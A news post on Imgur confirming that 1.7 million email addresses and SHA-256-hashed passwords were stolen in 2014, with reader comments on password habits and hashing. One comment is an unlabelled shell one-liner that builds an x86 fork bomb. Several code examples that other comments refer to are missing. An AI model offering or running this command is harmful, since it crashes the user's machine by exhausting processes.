Imgur Confirms Email Addresses, Passwords Stolen In 2014 Hack (zdnet.com)
An anonymous reader quotes a report from ZDNet: Imgur, one of the world's most visited websites, has confirmed a hack dating back to 2014. The company confirmed to ZDNet that hackers stole 1.7 million email addresses and passwords, scrambled with the SHA-256 algorithm, which has been passed over in recent years in favor of stronger password scramblers. Imgur said the breach didn't include personal information because the site has "never asked" for real names, addresses, or phone numbers. The stolen accounts represent a fraction of Imgur's 150 million monthly users. The hack went unnoticed for four years until the stolen data was sent to Troy Hunt, who runs data breach notification service Have I Been Pwned. Hunt informed the company on Thursday, a US national holiday observing Thanksgiving, when most businesses are closed. A day later, the company started resetting the passwords of affected accounts, and published a public disclosure alerting users of the breach.
I don't use imgur in any sort of commentary capacity. You don't need to log in to post images, and that's the key draw, or so I thought. To me it's simply an anonymous pastebin for images. I'm actually amazed anyone has given imgur their email address to begin with.
[
They didn't even know it happened.
It doesn't matter if your password is stolen if you only use it for one site.
I ended up doing something like this. Put it in ~/.bash_profile
I.e. get 4096 bytes of random data from openssl. Hash it to sha512 a couple of times to shuffle the bits. Then encode to base64. Remove any characters that might cause problems leaving [A-Za-z0-9] which most sites allow. Then pick the first n chars (where n defaults to 32 and is passed as an argument)
E.g.
To get the default 32 char password or you can override that on the command line if you know the maximum password the site supports. E.g
Gives a 64 char password
I store 'em in a text file in a small TrueCrypt volume as a backup and sync that across devices. For things like imgur.com I let the browser remember them because there's nothing too critical about the account. The passwords has 62^32 combinations which is hard to brute force and even if someone did brute force it, who cares? All they'll learn is that my password to other sites needs another 62^32/2 tries to brute force which is probably not worth their time.
And if you know the site allows longer passwords, just tell randpass on the command line. E.g
Actually once I got this to work I invented a more elaborate version that encrypted with a per device private RSA key, randomized the number of sha512 hashing stages and so on. But that only matters if you think an attacker can work out what openssl rand returned on your device, which they probably can't.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
if they think that you use SHA-256 to __scramble__ data, then obviously they know jack shit about security
Those are the words of ZDNet, not Imgur.
Imgur said the passwords were encrypted with SHA-256, which of course is even worse! Probably didn't use a salt either...